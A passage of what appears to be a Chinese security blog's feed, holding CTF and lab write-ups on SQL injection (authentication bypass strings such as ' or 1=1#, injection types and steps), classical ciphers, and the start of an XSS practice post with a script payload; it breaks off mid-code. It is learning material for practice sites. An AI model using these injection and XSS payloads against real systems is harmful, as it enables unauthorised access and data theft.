class="headerlink" title="总结"></a>总结</h2><p>获取数据库名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> schema_name <span class="keyword">from</span> information_schema.schemata</span><br></pre></td></tr></table></figure><p>获取表名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> table_name <span class="keyword">from</span> information_schema.tables</span><br></pre></td></tr></table></figure><p>获取所有列名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> column_name <span class="keyword">from</span> information_schemata.column()</span><br></pre></td></tr></table></figure><p><code>information_schema</code>数据库是MySQL自带的，它提供了访问数据库元数据的方式。元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。<br>在MySQL中，把<code>information_schema</code>看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。在<code>information_schema</code>中，有数个只读表，它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。</p><p><code>information_schema</code>数据库表说明：</p><p><code>schemata</code>表：提供了当前mysql实例中所有数据库的信息。show&nbsp;databases的结果取之此表。</p><p><code>tables</code>表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。show&nbsp;tables&nbsp;from&nbsp;schemaname的结果取之此表。</p><p><code>columns</code>表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show&nbsp;columns&nbsp;from&nbsp;schemaname.tablename的结果取之此表。</p><p><code>statistics</code>表：提供了关于表索引的信息。show&nbsp;index&nbsp;from&nbsp;schemaname.tablename的结果取之此表。</p><p><code>user_privileges</code>（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表，是非标准表。</p><p><code>schema_privileges</code>（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表，是非标准表。</p><p><code>table_privileges</code>（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表，是非标准表。</p><p><code>column_privileges</code>（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表，是非标准表。</p><p><code>character_sets</code>（字符集）表：提供了mysql实例可用字符集的信息。show&nbsp;character set结果集取之此表。</p><p><code>collations</code>表：提供了关于各字符集的对照信息。</p><p><code>collation_character_set_applicability</code>表：指明了可用于校对的字符集。这些列等效于show&nbsp;collation的前两个显示字段。</p><p><code>table_constraints</code>表：描述了存在约束的表。以及表的约束类型。</p><p><code>key_column_usage</code>表：描述了具有约束的键列。</p><p><code>routimes</code>表：提供了关于存储子程序（存储程序和函数）的信息。此时，routines表不包含自定义函数（udf），名为“mysql.proc&nbsp;name”的列指明了对应于information_schema.routines表的mysql.proc表列。</p><p><code>views</code>表：给出了关于数据库中的视图的信息。需要有show&nbsp;views权限，否则无法查看视图信息。</p><p><code>triggers</code>表：提供了关于触发程序的信息。必须有super权限才能查看该表</p><p>参考文章：<a href="https://blog.csdn.net/xuchen16/article/details/82785371" target="_blank" rel="noopener">https://blog.csdn.net/xuchen16/article/details/82785371</a></p><p>可以发现在进行SQL注入时会用到许多SQL函数等，所以掌握SQL注入要多练习正所谓熟能生巧，见得多练得多才能记住每个关键字，函数等的含义和用法。</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;概论&quot;&gt;&lt;a href=&quot;#概论&quot; class=&quot;headerlink&quot; title=&quot;概论&quot;&gt;&lt;/a&gt;概论&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;联合查询&lt;/strong&gt;：&lt;code&gt;union&lt;/code&gt;可合并两个或多个select语句的结果集，前提是由两条或两条以上的select语句组成，语句之间用关键字union分隔，union中的每个查询的列数必须相同。union会从查询结果集中自动去除了重复行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用前提&lt;/strong&gt;：页面上有显示位。显示位：在一个网站的正常页面，服务端执行SQL语句查询数据库中的数据，客户端将数 据展示在页面中，这个展示数据的位置就叫显示位。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;常用函数&lt;/strong&gt;：&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>SQL注入&lt;一&gt;-简单注入</title>
    <link href="http://yoursite.com/2019/07/20/SQL%E6%B3%A8%E5%85%A5-%E4%B8%80-%E7%AE%80%E5%8D%95%E6%B3%A8%E5%85%A5/"/>
    <id>http://yoursite.com/2019/07/20/SQL注入-一-简单注入/</id>
    <published>2019-07-20T05:34:05.000Z</published>
    <updated>2019-08-06T08:08:26.148Z</updated>
    
    <content type="html"><![CDATA[<h2 id="题目复现"><a href="#题目复现" class="headerlink" title="题目复现"></a>题目复现</h2><h3 id="hackinglab-最简单的SQL注入"><a href="#hackinglab-最简单的SQL注入" class="headerlink" title="hackinglab - 最简单的SQL注入"></a>hackinglab - 最简单的SQL注入</h3><p>题目地址：<a href="http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php" target="_blank" rel="noopener">http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php</a></p><p>查看源代码有个提示（其实没啥用）</p><p><img src="/2019/07/20/SQL注入-一-简单注入/QQ截图20190720152954.png" alt="4"></p><p>意思是说用户名为admin，这题非常简单就不多说了，用户名直接输入<code>admin’#</code>或<code>‘ or 1=1#</code>等就行，构造SQL语句<a id="more"></a></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> * <span class="keyword">from</span> <span class="keyword">admin</span> <span class="keyword">where</span> username=<span class="string">'admin'</span><span class="comment">#' and password='123456'或</span></span><br><span class="line"><span class="keyword">select</span> * <span class="keyword">from</span> <span class="keyword">admin</span> <span class="keyword">where</span> username=<span class="string">''</span> <span class="keyword">or</span> <span class="number">1</span>=<span class="number">1</span><span class="comment">#' and password='123456'</span></span><br></pre></td></tr></table></figure><p>得到flag：iamflagsafsfskdf11223</p><h3 id="实验吧-登陆一下好吗？？"><a href="#实验吧-登陆一下好吗？？" class="headerlink" title="实验吧 - 登陆一下好吗？？"></a>实验吧 - 登陆一下好吗？？</h3><p>题目链接：<a href="http://www.shiyanbar.com/ctf/1942" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1942</a></p><p>打开后是一个登录框</p><p><img src="/2019/07/20/SQL注入-一-简单注入/QQ截图20190720145348.png" alt="1"></p><p>直接查看源码发现没有什么提示，既然是SQL注入，那就username输入<code>‘&nbsp;or 1=1#</code>password随便输试下</p><p><img src="/2019/07/20/SQL注入-一-简单注入/QQ截图20190720150052.png" alt="2"></p><p>发现这应该是个普通的简单SQL注入，把输入的数据和数据库中数据对比，所以可以猜测后台SQL判断语句大概是</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> * <span class="keyword">from</span> <span class="keyword">user</span> <span class="keyword">where</span> username=<span class="string">'username'</span> <span class="keyword">and</span> <span class="keyword">password</span>=<span class="string">'password'</span></span><br></pre></td></tr></table></figure><p>看下输入‘&nbsp;or1=1#后页面返回内容，发现or和#被过滤掉了，也就是说带or的SQL语句应该是不能用了而且不能通过注释把username后面注释绕过了。那就要使where后面条件恒为真绕过登陆了，使username和password执行结果为true，所以可以输入<code>1’=’0</code>（0去掉是一样的）等，为什么呢？</p><p>看下输入之后SQL语句变为</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> * <span class="keyword">from</span> <span class="keyword">user</span> <span class="keyword">where</span> username=<span class="string">'1'</span>=<span class="string">'0'</span> <span class="keyword">and</span> <span class="keyword">password</span>=<span class="string">'1'</span>=<span class="string">'0'</span></span><br></pre></td></tr></table></figure><p>在sql语句中，=号的比较是从左向右进行比较的，那么两句话在第一个等号比较之后的结果就返回false也就是0（username数据库中不会为1，所以1换成其他字符也是一样的），接下来再和后面的’0’比较就为真返回1，同理password也是，那么SQL语句就变成了<code>select * from user where 1 and 1</code>。</p><p>所以用户名密码都输入1’=’0</p><p><img src="/2019/07/20/SQL注入-一-简单注入/QQ截图20190720221613.png" alt="3"></p><p>得到flag：ctf{51d1bf8fb65a8c2406513ee8f52283e7}</p><h2 id="SQL注入类型"><a href="#SQL注入类型" class="headerlink" title="SQL注入类型"></a>SQL注入类型</h2><p>上面两题都是简单的闭合注释，通过这两题了解下SQL注入是什么是干嘛的。下面写下SQL注入的类型</p><p><strong>按照注入点类型来分类</strong></p><p>1、数字型注入</p><p>当输入的参数为整形时，如果存在注入漏洞，可以认为是数字型注入。这一类的 SQL 语句原型大概为 <code>select * from 表名 where id=1</code>，测试步骤：</p><p>（1） 加单引号，URL：<a href="http://www.xxx.com/xxx.php?id=1" target="_blank" rel="noopener">www.xxx.com/xxx.php?id=1</a></p><p>对应的sql：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;id=1’ 这时sql语句出错，程序无法正常从数据库中查询出数据，就会抛出异常。</p><p>（2） 加and&nbsp;1=1 ,URL：<a href="http://www.xxx.com/xxx.php?id=1" target="_blank" rel="noopener">www.xxx.com/xxx.php?id=1</a>  &nbsp;and&nbsp;1=1</p><p>对应的sql：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;id=3’&nbsp;and&nbsp;1=1&nbsp;语句执行正常，与原始页面无任何差异。</p><p>（3） 加and&nbsp;1=2，URL：<a href="http://www.xxx.com/xxx.php?id=1" target="_blank" rel="noopener">www.xxx.com/xxx.php?id=1</a>  &nbsp;and&nbsp;1=2</p><p>对应的sql：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;id=3&nbsp;and&nbsp;1=2&nbsp;语句可以正常执行，但是无法查询出结果，所以返回数据与原始网页存在差异。</p><p>如果满足以上三点，则可以判断该url存在数字型注入。</p><p>2、字符型注入</p><p>当输入的参数为字符串时，称为字符型。字符型和数字型最大的一个区别在于，数字型不需要单引号来闭合，而字符串一般需要通过单引号来闭合的。这一类的 SQL 语句原型大概为<code>select * from 表名 where name=’admin’</code>，测试步骤：</p><p>（1） 加单引号：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;name=’admin’’</p><p>由于加单引号后变成三个单引号，则无法执行，程序会报错；</p><p>（2） 加 ’and&nbsp;1=1&nbsp;：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;name=’admin’&nbsp;and&nbsp;1=1’&nbsp;</p><p>也无法进行注入，还需要通过注释符号将其绕过；</p><p>Mysql 有三种常用注释符：</p><p><code>–</code> 注意，这种注释符后边有一个空格</p><p><code>#</code> 通过#进行注释</p><p><code>/<em> </em>/</code>注释掉符号内的内容</p><p>因此，构造语句为：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;name =’admin’&nbsp;and&nbsp;1=1#’ 可成功执行返回结果正确；</p><p>（3）加and&nbsp;1=2–：select&nbsp;*&nbsp;from&nbsp;table&nbsp;where&nbsp;name=’admin’&nbsp;and&nbsp;1=2 –’</p><p>则会报错</p><p>如果满足以上三点，可以判断该url为字符型注入。</p><p>3、搜索型注入点</p><p>这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有“keyword=关键字”，有的不显示在的链接地址里面，而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句，这一类的 SQL 语句原型大概为<code>select * from 表名 where 字段 like ‘%关键字%’</code>，测试：</p><p><code>%’ union select 1,2,3,4 and ‘%’=’</code></p><p><strong>按照数据提交的方式来分类</strong></p><p>1、GET 注入</p><p>提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接<code>http://xxx.com/news.php?id=1</code> , id 是注入点。</p><p>2、POST 注入</p><p>使用 POST 方式提交数据，注入点位置在 POST 数据部分，常发生在表单中。</p><p>3、Cookie 注入</p><p>HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。</p><p>4、HTTP 头部注入</p><p>注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话，Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候，Cookie 是头部的一个字段。</p><p><strong>按照执行效果来分类</strong></p><p>1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。</p><p>2、基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。</p><p>3、基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。</p><p>4、联合查询注入，可以使用union的情况下的注入。</p><p>*5、堆查询注入，可以同时执行多条语句的执行时的注入。</p><p>等等…</p><h2 id="SQL注入基本步骤"><a href="#SQL注入基本步骤" class="headerlink" title="SQL注入基本步骤"></a>SQL注入基本步骤</h2><p>1、判断是什么类型注入，有没有过滤关键字，是否能绕过</p><p>2、确定存在注入的表的列数以及表中数据那些字段可以显示出来</p><p>3、获取数据库版本，用户，当前连接的数据库等信息</p><p>4、获取数据库中所有表的信息</p><p>5、获取某个表的列字段信息</p><p>6、获取相应表的数据</p><p>关于SQL注入的知识还有很多很多，比如SQL注入过程需要用到的语法、函数等，这些在之后的SQL注入题目复现中遇到时会记录一下。</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;题目复现&quot;&gt;&lt;a href=&quot;#题目复现&quot; class=&quot;headerlink&quot; title=&quot;题目复现&quot;&gt;&lt;/a&gt;题目复现&lt;/h2&gt;&lt;h3 id=&quot;hackinglab-最简单的SQL注入&quot;&gt;&lt;a href=&quot;#hackinglab-最简单的SQL注入&quot; class=&quot;headerlink&quot; title=&quot;hackinglab - 最简单的SQL注入&quot;&gt;&lt;/a&gt;hackinglab - 最简单的SQL注入&lt;/h3&gt;&lt;p&gt;题目地址：&lt;a href=&quot;http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;查看源代码有个提示（其实没啥用）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/07/20/SQL注入-一-简单注入/QQ截图20190720152954.png&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;
&lt;p&gt;意思是说用户名为admin，这题非常简单就不多说了，用户名直接输入&lt;code&gt;admin’#&lt;/code&gt;或&lt;code&gt;‘ or 1=1#&lt;/code&gt;等就行，构造SQL语句&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>CRYPTO-位移编码</title>
    <link href="http://yoursite.com/2019/07/18/CRYPTO-%E4%BD%8D%E7%A7%BB%E7%BC%96%E7%A0%81/"/>
    <id>http://yoursite.com/2019/07/18/CRYPTO-位移编码/</id>
    <published>2019-07-18T11:37:10.000Z</published>
    <updated>2019-08-06T07:35:34.300Z</updated>
    
    <content type="html"><![CDATA[<h2 id="概论"><a href="#概论" class="headerlink" title="概论"></a>概论</h2><p>位移编码有凯撒密码、rot加密等（其他的加密都不确定都哪些是位移编码类型的……）</p><p>凯撒密码也属于替换加密的一种，替换加密类型有：</p><p>Atbash Cipher埃特巴什码</p><p>Caesar Cipher凯撒密码</p><p>ROT5/13/18/47</p><p>Simple Substitution Cipher简单换位密码</p><p>Hill Cipher希尔密码</p><p>Pigpen Cipher猪圈密码<a id="more"></a></p><p>Polybius Square Cipher波利比奥斯方阵密码</p><p>夏多密码（曲折加密）</p><p>Playfair Cipher普莱费尔密码</p><p>Vigenere Cipher维吉尼亚密码</p><p>Autokey Cipher自动密钥密码</p><p>Beaufort Cipher波弗特密码</p><p>Running Key Cipher滚动密钥密码</p><p>Porta Cipher门户密码</p><p>Homophonic Substitution Cipher同音替换密码</p><p>Affine Cipher仿射密码</p><p>Baconian Cipher培根密码</p><p>ADFG/VX Cipher ADFG和ADFGVX密码</p><p>Bifid Cipher双密码</p><p>Trifid Cipher三分密码</p><p>Four-Square Cipher四方密码</p><p>Checkerboard Cipher棋盘密码</p><p>不过替换加密感觉不是位移编码，这些加密方式具体概念可以百度一下都有的，这里就不写出来了。</p><p>下面主要写下凯撒密码的题目复现吧，以后见到位移编码的题再补充——</p><h2 id="题目复现"><a href="#题目复现" class="headerlink" title="题目复现"></a>题目复现</h2><h3 id="实验吧-变异凯撒"><a href="#实验吧-变异凯撒" class="headerlink" title="实验吧 - 变异凯撒"></a>实验吧 - 变异凯撒</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/2038" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/2038</a></p><p>题目内容：加密密文：afZ_r9VYfScOeO_UL^RWUc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;格式：flag{&nbsp;}</p><p>题目是变异凯撒，所以这题就是用了凯撒加密，观察密文发现里面还有下划线和数字，说明不是简单的英文字母表的位移了，那就很可能是ASCII码表的位移了，题目上说格式是flag{&nbsp;}，所以找下afz_和flag的关系，查下ASCII表</p><p><img src="/2019/07/18/CRYPTO-位移编码/u=713559479,1669710562&amp;fm=26&amp;gp=0.jpg" alt="3"></p><p>找到ASCII值：a（97）f（102）、f (102)l (108)、Z (90)a (97)、_ (95)g (103)，可以发现规律：第一个字符偏移量为5，第二个字符偏移量为6，之后偏移量依次递增。</p><p>解密可以对照ASCII码表一个字符一个字符的解，也可以用脚本。可以用Python脚本比较简单</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ciphertext = <span class="string">'afZ_r9VYfScOeO_UL^RWUc'</span></span><br><span class="line">j = <span class="number">5</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> ciphertext:</span><br><span class="line">    print(chr(ord(i) + j), end=<span class="string">''</span>)</span><br><span class="line">    j += <span class="number">1</span></span><br></pre></td></tr></table></figure><p><img src="/2019/07/18/CRYPTO-位移编码/QQ截图20190719190612.png" alt="4"></p><p>得出flag为flag{Caesar_variation}</p><h3 id="实验吧-我喜欢培根"><a href="#实验吧-我喜欢培根" class="headerlink" title="实验吧 - 我喜欢培根"></a>实验吧 - 我喜欢培根</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1842" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1842</a></p><p>打开解题链接，可以看到这是一串摩斯密码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -.. -.-. -.-. -.. -.-. -.-. -.-. -.. -.. -.. -.-. -.. -.-. -.-. -.-. -.. -.. -.-. -.-. -.-. -.-. -.-. -.-. -.-. -.-. -.-. -.. -.. -.-. -.. -.-. -.-. -.-. -.-. -.. -.-. -.-. -.-. -.-. -.-. / -.-. -.. -.-. -.-. -.-. -.. -.-. -.-. -.. -.-. / -.-. -.-. -.-. -.. -.-. -.-. -.. -.. -.. -.-. -.-. -.. -.. -.. -.-. -.-. -.. -.-. -.. -..</span><br></pre></td></tr></table></figure><p><a href="https://www.jb51.net/tools/morse.htm" target="_blank" rel="noopener">在线解密</a>一下，解出</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MORSE..--.-IS..--.-COOL..--.-BUT..--.-BACON..--.-IS..--.-COOLER..--.-DCCDCCCDDDCDCCCDDCCCCCCCCCDDCDCCCCDCCCCC/CDCCCDCCDC/CCCDCCDDDCCDDDCCDCDD</span><br></pre></td></tr></table></figure><p>题目上说到培根而且可以看到解出来的BACON就是培根的意思，而培根所用的密码是一种本质上用二进制数设计的，<br>没有用通常的0和1来表示，而是采用a和b，所以替换一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">密文：DCCDCCCDDDCDCCCDDCCCCCCCCCDDCDCCCCDCCCCC/CDCCCDCCDC/CCCDCCDDDCCDDDCCDCDD</span><br><span class="line">替换：baabaaabbbabaaabbaaaaaaaaabbabaaaabaaaaa/abaaabaaba/aaabaabbbaabbbaababb</span><br></pre></td></tr></table></figure><p>培根密码表：</p><p><img src="/2019/07/18/CRYPTO-位移编码/QQ截图20190719151053.png" alt="1"></p><p>也可以<a href="http://rumkin.com/tools/cipher/baconian.php" target="_blank" rel="noopener">在线解密</a>，结果是：SHIYANBA IS COOL，所以flag为CTF{SHIYANBA IS COOL}</p><h3 id="实验吧-困在栅栏里的凯撒"><a href="#实验吧-困在栅栏里的凯撒" class="headerlink" title="实验吧 - 困在栅栏里的凯撒"></a>实验吧 - 困在栅栏里的凯撒</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1867" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1867</a></p><p>题目内容是：小白发现了一段很6的字符：NlEyQd{seft}</p><p>根据题目得出是<a href="https://baike.baidu.com/item/%E6%A0%85%E6%A0%8F%E5%AF%86%E7%A0%81/228209?fr=aladdin" target="_blank" rel="noopener">栅栏密码</a>和<a href="https://baike.baidu.com/item/%E6%81%BA%E6%92%92%E5%AF%86%E7%A0%81?fromtitle=%E5%87%AF%E6%92%92%E5%AF%86%E7%A0%81&amp;fromid=1336345" target="_blank" rel="noopener">凯撒密码</a>，先栅栏解密，两个一组分解</p><p>Nl、Ey、Qd、{s、ef、t}</p><p>然后合并得NEQ{etlydsf}</p><p>再用凯撒解密，在线解密：<a href="http://www.zjslove.com/3.decode/kaisa/index.html" target="_blank" rel="noopener">http://www.zjslove.com/3.decode/kaisa/index.html</a></p><p><img src="/2019/07/18/CRYPTO-位移编码/QQ截图20190719152826.png" alt="2"></p><p>可以看到第12次解密就是flag了，提交时ctf要大写：CTF{tianshu}</p><h3 id="实验吧-密文rot13"><a href="#实验吧-密文rot13" class="headerlink" title="实验吧 - 密文rot13"></a>实验吧 - 密文rot13</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/728" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/728</a></p><p>这题非常简单，直接把题目给的字符串<a href="https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php" target="_blank" rel="noopener">在线解密</a>一下就出来了</p><p>主要是记录一下这个加密类型，第一次见到这种加密类型，不止rot13还有rot5、rot18、rot47这四个是一样的，rot加密也是典型的位移编码的一种</p><p>ROT5、ROT13、ROT18、ROT47 编码是一种简单的码元位置顺序替换暗码。此类编码具有可逆性，可以自我解密，主要用于应对快速浏览，或者是机器的读取，而不让其理解其意</p><p>ROT5 是 rotate by 5 places 的简写，意思是旋转5个位置，其它皆同。下面分别说说它们的编码方式：<br><strong>ROT5</strong>：只对数字进行编码，用当前数字往前数的第5个数字替换当前数字，例如当前为0，编码后变成5，当前为1，编码后变成6，以此类推顺序循环</p><p><strong>ROT13</strong>：只对字母进行编码，用当前字母往前数的第13个字母替换当前字母，例如当前为A，编码后变成N，当前为B，编码后变成O，以此类推顺序循环</p><p><strong>ROT18</strong>：这是一个异类，本来没有，它是将ROT5和ROT13组合在一起，为了好称呼，将其命名为ROT18</p><p><strong>ROT47</strong>：对数字、字母、常用符号进行编码，按照它们的ASCII值进行位置替换，用当前字符ASCII值往前数的第47位对应字符替换当前字符，例如当前为小写字母z，编码后变成大写字母K，当前为数字0，编码后变成符号_。用于ROT47编码的字符其ASCII值范围是33－126，具体可参考<a href="https://www.qqxiuzi.cn/bianma/ascii.htm" target="_blank" rel="noopener">ASCII编码</a></p><h3 id="bugkuCTF-简单加密"><a href="#bugkuCTF-简单加密" class="headerlink" title="bugkuCTF - 简单加密"></a>bugkuCTF - 简单加密</h3><p>题目地址：<a href="https://ctf.bugku.com/challenges#%E7%AE%80%E5%8D%95%E5%8A%A0%E5%AF%86" target="_blank" rel="noopener">https://ctf.bugku.com/challenges#%E7%AE%80%E5%8D%95%E5%8A%A0%E5%AF%86</a></p><p>题目内容是一串字符</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">e6Z9i~]8R~U~QHE&#123;RnY&#123;QXg~QnQ&#123;^XVlRXlp^XI5Q6Q6SKY8jUAA</span><br></pre></td></tr></table></figure><p>后面有一个AA，联想到base64后面有==，猜测应该是凯撒解密后再base64解密，首先查下ASCII表，A的ASCII码是65，=的ASCII码是61，往后偏移了四位，凯撒解密下得到base64字符串</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a2V5ezY4NzQzMDAwNjUwMTczMjMwZTRhNThlZTE1M2M2OGU4fQ==</span><br></pre></td></tr></table></figure><p>然后base64解密，flag为key{68743000650173230e4a58ee153c68e8}</p><h3 id="bugkuCTF-散乱的密文"><a href="#bugkuCTF-散乱的密文" class="headerlink" title="bugkuCTF - 散乱的密文"></a>bugkuCTF - 散乱的密文</h3><p>题目地址：<a href="https://ctf.bugku.com/challenges#%E6%95%A3%E4%B9%B1%E7%9A%84%E5%AF%86%E6%96%87" target="_blank" rel="noopener">https://ctf.bugku.com/challenges#%E6%95%A3%E4%B9%B1%E7%9A%84%E5%AF%86%E6%96%87</a></p><p>题目内容是</p><p>lf5{ag024c483549d7fd@@1}                                                                                                                                     一张纸条上凌乱的写着2 1 6 5 3 4</p><table><thead><tr><th>2</th><th>1</th><th>6</th><th>5</th><th>3</th><th>4</th></tr></thead><tbody><tr><td>l</td><td>f</td><td>5</td><td>{</td><td>a</td><td>g</td></tr><tr><td>0</td><td>2</td><td>4</td><td>c</td><td>4</td><td>8</td></tr><tr><td>3</td><td>5</td><td>4</td><td>9</td><td>d</td><td>7</td></tr><tr><td>f</td><td>d</td><td>@</td><td>@</td><td>1</td><td>}</td></tr></tbody></table><p>按照123456顺序重新组合一下分为六组，f25d、l03f、a4d1、g87}、{c9@、544@</p><p>可以看出这是个栅栏密码，解密后是flag{52048c453d794df1}@@，flag就是flag{52048c453d794df1}</p><p>暂时先写这几题吧，之后做到这种题在更新。。。</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;概论&quot;&gt;&lt;a href=&quot;#概论&quot; class=&quot;headerlink&quot; title=&quot;概论&quot;&gt;&lt;/a&gt;概论&lt;/h2&gt;&lt;p&gt;位移编码有凯撒密码、rot加密等（其他的加密都不确定都哪些是位移编码类型的……）&lt;/p&gt;
&lt;p&gt;凯撒密码也属于替换加密的一种，替换加密类型有：&lt;/p&gt;
&lt;p&gt;Atbash Cipher埃特巴什码&lt;/p&gt;
&lt;p&gt;Caesar Cipher凯撒密码&lt;/p&gt;
&lt;p&gt;ROT5/13/18/47&lt;/p&gt;
&lt;p&gt;Simple Substitution Cipher简单换位密码&lt;/p&gt;
&lt;p&gt;Hill Cipher希尔密码&lt;/p&gt;
&lt;p&gt;Pigpen Cipher猪圈密码&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>XSS注入&lt;二&gt;</title>
    <link href="http://yoursite.com/2019/07/14/XSS%E6%B3%A8%E5%85%A5-%E4%BA%8C/"/>
    <id>http://yoursite.com/2019/07/14/XSS注入-二/</id>
    <published>2019-07-14T08:11:00.000Z</published>
    <updated>2019-08-06T07:37:54.597Z</updated>
    
    <content type="html"><![CDATA[<p>xss练习平台地址：<a href="https://xss.haozi.me/" target="_blank" rel="noopener">https://xss.haozi.me/</a></p><p>过关的条件依旧是弹窗alert（1）</p><p>这里的题基本都是反射性xss，针对过滤代码的绕过，算是专项训练吧，而且基本上都是正则表达式的过滤，做之前要熟悉正则表达式再做会简单很多，整体上不算难，可以练习下！</p><p>正则表达式视频教程：<a href="https://www.bilibili.com/video/av37494327/?p=28" target="_blank" rel="noopener">https://www.bilibili.com/video/av37494327/?p=28</a>有4个课时，讲的很详细</p><a id="more"></a><h2 id="0x00"><a href="#0x00" class="headerlink" title="0x00"></a>0x00</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;div&gt;'</span> + input + <span class="string">'&lt;/div&gt;'</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>没有任何过滤，payload：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined">alert(1)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">render</span> <span class="params">(input)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="string">'&lt;textarea&gt;'</span> + input + <span class="string">'&lt;/textarea&gt;'</span></span><br><span 